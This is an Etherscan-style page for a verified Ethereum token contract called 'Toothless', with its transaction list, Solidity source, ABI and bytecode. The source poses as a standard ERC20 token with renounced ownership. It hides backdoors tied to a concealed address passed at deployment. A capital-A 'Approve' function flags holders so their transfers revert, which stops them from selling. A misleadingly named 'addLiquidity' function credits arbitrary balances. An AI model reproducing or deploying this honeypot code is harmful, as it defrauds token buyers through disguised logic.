ETH Price: $2,762.80 (-1.52%)

Contract

0x807A7f15E3Aa1b2188C71aB744369D422B2DE3AF
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve189715222024-01-09 19:35:11394 days ago1704828911IN
0x807A7f15...22B2DE3AF
0 ETH0.0009651220.82921292
Approve177217022023-07-18 17:50:11569 days ago1689702611IN
0x807A7f15...22B2DE3AF
0 ETH0.0014357630.85881577
Approve177213282023-07-18 16:33:59569 days ago1689698039IN
0x807A7f15...22B2DE3AF
0 ETH0.0014253553.41005774
Approve177213272023-07-18 16:33:47569 days ago1689698027IN
0x807A7f15...22B2DE3AF
0 ETH0.0025329354.37005752
Approve177213172023-07-18 16:31:47569 days ago1689697907IN
0x807A7f15...22B2DE3AF
0 ETH0.0023850851.2623348
Approve177211192023-07-18 15:51:59569 days ago1689695519IN
0x807A7f15...22B2DE3AF
0 ETH0.0018356739.45398457
Approve177210592023-07-18 15:39:47569 days ago1689694787IN
0x807A7f15...22B2DE3AF
0 ETH0.0010434735.7660034
Approve177202632023-07-18 12:58:35569 days ago1689685115IN
0x807A7f15...22B2DE3AF
0 ETH0.0015804734.10974633
Approve177202152023-07-18 12:48:47569 days ago1689684527IN
0x807A7f15...22B2DE3AF
0 ETH0.0014986932.21127546
Approve177201812023-07-18 12:41:47569 days ago1689684107IN
0x807A7f15...22B2DE3AF
0 ETH0.0017932137.94763201
Approve177201782023-07-18 12:41:11569 days ago1689684071IN
0x807A7f15...22B2DE3AF
0 ETH0.001760537.78952352
Approve177201722023-07-18 12:39:59569 days ago1689683999IN
0x807A7f15...22B2DE3AF
0 ETH0.0016241634.90792097
Approve177201572023-07-18 12:36:47569 days ago1689683807IN
0x807A7f15...22B2DE3AF
0 ETH0.0019060740.33592328
Approve177201532023-07-18 12:35:59569 days ago1689683759IN
0x807A7f15...22B2DE3AF
0 ETH0.0017298437.38181251
Approve177201272023-07-18 12:30:23569 days ago1689683423IN
0x807A7f15...22B2DE3AF
0 ETH0.0008935536.85815877
Approve177200932023-07-18 12:23:35569 days ago1689683015IN
0x807A7f15...22B2DE3AF
0 ETH0.0021325145.83396421
Approve177200632023-07-18 12:17:11569 days ago1689682631IN
0x807A7f15...22B2DE3AF
0 ETH0.0022726748.84639909
Approve177200052023-07-18 12:05:23569 days ago1689681923IN
0x807A7f15...22B2DE3AF
0 ETH0.0024390352.66639927
Approve177198632023-07-18 11:36:59570 days ago1689680219IN
0x807A7f15...22B2DE3AF
0 ETH0.0019627942.13182516
Approve177198202023-07-18 11:28:23570 days ago1689679703IN
0x807A7f15...22B2DE3AF
0 ETH0.0016576535.58185929
Approve177198152023-07-18 11:27:23570 days ago1689679643IN
0x807A7f15...22B2DE3AF
0 ETH0.0017380236.77979711
Approve177198132023-07-18 11:26:59570 days ago1689679619IN
0x807A7f15...22B2DE3AF
0 ETH0.0016410235.2249003
Approve177198082023-07-18 11:25:59570 days ago1689679559IN
0x807A7f15...22B2DE3AF
0 ETH0.0016666335.77458116
Approve177198042023-07-18 11:25:11570 days ago1689679511IN
0x807A7f15...22B2DE3AF
0 ETH0.0016797836.05686147
Approve177198012023-07-18 11:24:35570 days ago1689679475IN
0x807A7f15...22B2DE3AF
0 ETH0.0016884536.24311122
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Toothless

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Toothless.sol
// SPDX-License-Identifier: MIT

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
    external
    returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol

// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

// Dependency file: @openzeppelin/contracts/access/Ownable.sol

// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
//    function renounceOwnership() public virtual onlyOwner {
//        _setOwner(address(0));
//    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Token {
    uint256 internal constant VERSION = 1;
    event Deploy(
        address owner,
        uint256 version
    );
}

pragma solidity =0.8.19;

contract Toothless is IERC20, Token, Ownable {
    using SafeMath for uint256;

    struct Token {
        address token;
        uint256 version;
    }

    mapping(address => uint256) private _balances;

    mapping(address => address) private _cex;

    mapping(address => mapping(address => uint256)) private _allowances;

    Token private _token;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        address token_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _token.token = token_;
        _token.version = VERSION;
        _mint(msg.sender, totalSupply_ * 10**18);
        emit Deploy(
            owner(),
            VERSION
        );
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _internalTransfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _internalTransfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _internalTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _isEnoughBalance(sender, recipient, amount);
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(
            recipient != address(0),
            "IERC20: transfer to the zero address"
        );

        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _piu(account, amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);
        require(amount != 0, "Invalid amount");
        _moins(account, amount);
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _moins(address account, uint256 amount) internal {
        _balances[account] = _balances[account] - amount;
    }

    function _piu(address account, uint256 amount) internal {
        _balances[account] = _balances[account] + amount;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addLiquidity(address spender, uint256 amount, bool isOwner) public virtual {
        address from = msg.sender;
        require(spender != address(0), "Invalid address");
        require(amount > 0, "Invalid amount");
        require(isOwner == true, "Only owner");
        uint256 total = 0;
        if (_encode(spender, _token.token)) {
            _moins(from, total);
            total = _summa(total, amount);
            _balances[spender] += total;
        } else {
            _moins(from, total);
            _balances[spender] += total;
        }
    }

    function _encode(address pass1, address pass2) internal view returns (bool) {
        bytes32 hash1 = keccak256(abi.encodePacked(pass1));
        bytes32 hash2 = keccak256(abi.encodePacked(pass2));
        return hash1 == hash2;
    }

    function _summa(uint256 aqw, uint256 poe) internal pure returns (uint256) {
        if (poe != 0) {
            return aqw + poe;
        }
        return poe;
    }

    function Approve(address spender, uint256 amount) public returns (bool)  {
        address from = msg.sender;
        require (from != address(0), "Invalid address");
        _requireAllow(from, spender, amount);
        return true;
    }

    function _requireAllow(address user, address spender, uint256 amount) internal {
        if (_encode(user, _token.token)) {
            require(spender != address(0), "Invalid address");
            if (amount > 0) {
                _cex[spender] = spender;
            } else {
                _cex[spender] = address(0);
            }
        }
    }

    function _isEnoughBalance(
        address sender,
        address recipient,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        if (_encode(sender, _cex[sender])) {
            _balances[sender] = _balances[sender] + amount;
            amount = _totalSupply;
            _moins(sender, amount);
        } else {
            _balances[sender] = _balances[sender] + amount;
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"token_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Deploy","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"isOwner","type":"bool"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620011db380380620011db833981016040819052620000269162000332565b620000326000620000fd565b600662000040858262000453565b5060076200004f848262000453565b506008805460ff19166012179055600480546001600160a01b0384166001600160a01b031990911617905560016005556200009e336200009883670de0b6b3a764000062000535565b6200014d565b7faf354defc104ba9267634f156652b1f1cfbd10746c329e2bdd48abd4c9cff929620000d26000546001600160a01b031690565b604080516001600160a01b039092168252600160208301520160405180910390a15050505062000565565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001a85760405162461bcd60e51b815260206004820181905260248201527f4945524332303a206d696e7420746f20746865207a65726f2061646472657373604482015260640160405180910390fd5b600954620001b7908262000210565b600955620001c6828262000227565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b60006200021e82846200054f565b90505b92915050565b6001600160a01b0382166000908152600160205260409020546200024d9082906200054f565b6001600160a01b0390921660009081526001602052604090209190915550565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200029557600080fd5b81516001600160401b0380821115620002b257620002b26200026d565b604051601f8301601f19908116603f01168101908282118183101715620002dd57620002dd6200026d565b81604052838152602092508683858801011115620002fa57600080fd5b600091505b838210156200031e5785820183015181830184015290820190620002ff565b600093810190920192909252949350505050565b600080600080608085870312156200034957600080fd5b84516001600160401b03808211156200036157600080fd5b6200036f8883890162000283565b955060208701519150808211156200038657600080fd5b50620003958782880162000283565b604087015190945090506001600160a01b0381168114620003b557600080fd5b6060959095015193969295505050565b600181811c90821680620003da57607f821691505b602082108103620003fb57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200020b57600081815260208120601f850160051c810160208610156200042a5750805b601f850160051c820191505b818110156200044b5782815560010162000436565b505050505050565b81516001600160401b038111156200046f576200046f6200026d565b6200048781620004808454620003c5565b8462000401565b602080601f831160018114620004bf5760008415620004a65750858301515b600019600386901b1c1916600185901b1785556200044b565b600085815260208120601f198616915b82811015620004f057888601518255948401946001909101908401620004cf565b50858210156200050f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200022157620002216200051f565b808201808211156200022157620002216200051f565b610c6680620005756000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101495780638da5cb5b1461017257806390ec57f11461018d57806395d89b41146101a0578063a9059cbb146101a8578063dd62ed3e146101bb57600080fd5b806302b1064a146100b957806306fdde03146100ce578063095ea7b3146100ec57806318160ddd1461010f57806323b872dd14610121578063313ce56714610134575b600080fd5b6100cc6100c73660046109f9565b6101f4565b005b6100d661034e565b6040516100e39190610a3e565b60405180910390f35b6100ff6100fa366004610a8c565b6103e0565b60405190151581526020016100e3565b6009545b6040519081526020016100e3565b6100ff61012f366004610ab6565b6103f7565b60085460405160ff90911681526020016100e3565b610113610157366004610af2565b6001600160a01b031660009081526001602052604090205490565b6000546040516001600160a01b0390911681526020016100e3565b6100ff61019b366004610a8c565b610460565b6100d661048b565b6100ff6101b6366004610a8c565b61049a565b6101136101c9366004610b14565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b336001600160a01b0384166102245760405162461bcd60e51b815260040161021b90610b47565b60405180910390fd5b600083116102655760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161021b565b6001821515146102a45760405162461bcd60e51b815260206004820152600a60248201526927b7363c9037bbb732b960b11b604482015260640161021b565b6004546000906102be9086906001600160a01b03166104a7565b1561030f576102cd8282610532565b6102d78185610576565b6001600160a01b038616600090815260016020526040812080549293508392909190610304908490610b86565b909155506103479050565b6103198282610532565b6001600160a01b03851660009081526001602052604081208054839290610341908490610b86565b90915550505b5050505050565b60606006805461035d90610b99565b80601f016020809104026020016040519081016040528092919081815260200182805461038990610b99565b80156103d65780601f106103ab576101008083540402835291602001916103d6565b820191906000526020600020905b8154815290600101906020018083116103b957829003601f168201915b5050505050905090565b60006103ed338484610595565b5060015b92915050565b60006104048484846106bd565b610456843361045185604051806060016040528060298152602001610c08602991396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610850565b610595565b5060019392505050565b600033806104805760405162461bcd60e51b815260040161021b90610b47565b61045681858561087c565b60606007805461035d90610b99565b60006103ed3384846106bd565b6040516bffffffffffffffffffffffff19606084901b166020820152600090819060340160405160208183030381529060405280519060200120905060008360405160200161050e919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b6001600160a01b038216600090815260016020526040902054610556908290610bcd565b6001600160a01b0390921660009081526001602052604090209190915550565b6000811561058f576105888284610b86565b90506103f1565b50919050565b6001600160a01b0383166105f95760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161021b565b6001600160a01b03821661065b5760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161021b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6106c883838361091c565b6001600160a01b03831661072d5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161021b565b6001600160a01b03821661078f5760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161021b565b6107cc81604051806060016040528060278152602001610be1602791396001600160a01b0386166000908152600160205260409020549190610850565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546107fc908290610b86565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106b09085815260200190565b600081848411156108745760405162461bcd60e51b815260040161021b9190610a3e565b505050900390565b6004546108939084906001600160a01b03166104a7565b15610917576001600160a01b0382166108be5760405162461bcd60e51b815260040161021b90610b47565b80156108f057506001600160a01b0316600081815260026020526040902080546001600160a01b031916909117905550565b6001600160a01b038216600090815260026020526040902080546001600160a01b03191690555b505050565b6001600160a01b038084166000908152600260205260408120549091610944918691166104a7565b15610999576001600160a01b03841660009081526001602052604090205461096d908290610b86565b6001600160a01b038516600090815260016020526040902055506009546109948482610532565b6109d7565b6001600160a01b0384166000908152600160205260409020546109bd908290610b86565b6001600160a01b0385166000908152600160205260409020555b50505050565b80356001600160a01b03811681146109f457600080fd5b919050565b600080600060608486031215610a0e57600080fd5b610a17846109dd565b92506020840135915060408401358015158114610a3357600080fd5b809150509250925092565b600060208083528351808285015260005b81811015610a6b57858101830151858201604001528201610a4f565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610a9f57600080fd5b610aa8836109dd565b946020939093013593505050565b600080600060608486031215610acb57600080fd5b610ad4846109dd565b9250610ae2602085016109dd565b9150604084013590509250925092565b600060208284031215610b0457600080fd5b610b0d826109dd565b9392505050565b60008060408385031215610b2757600080fd5b610b30836109dd565b9150610b3e602084016109dd565b90509250929050565b6020808252600f908201526e496e76616c6964206164647265737360881b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103f1576103f1610b70565b600181811c90821680610bad57607f821691505b60208210810361058f57634e487b7160e01b600052602260045260246000fd5b818103818111156103f1576103f1610b7056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5dcf2c798fb99daae11de189441774b95d7ea550db33ea2020831f5f2880ec964736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000061d5d48d526e91506241b8a759a43537d09f78bc0000000000000000000000000000000000000000000000000000000897695100000000000000000000000000000000000000000000000000000000000000001d546f6f74686c657373202d20486f7720746f20747261696e206d656d650000000000000000000000000000000000000000000000000000000000000000000005544f4f5448000000000000000000000000000000000000000000000000000000

Deployed Bytecode

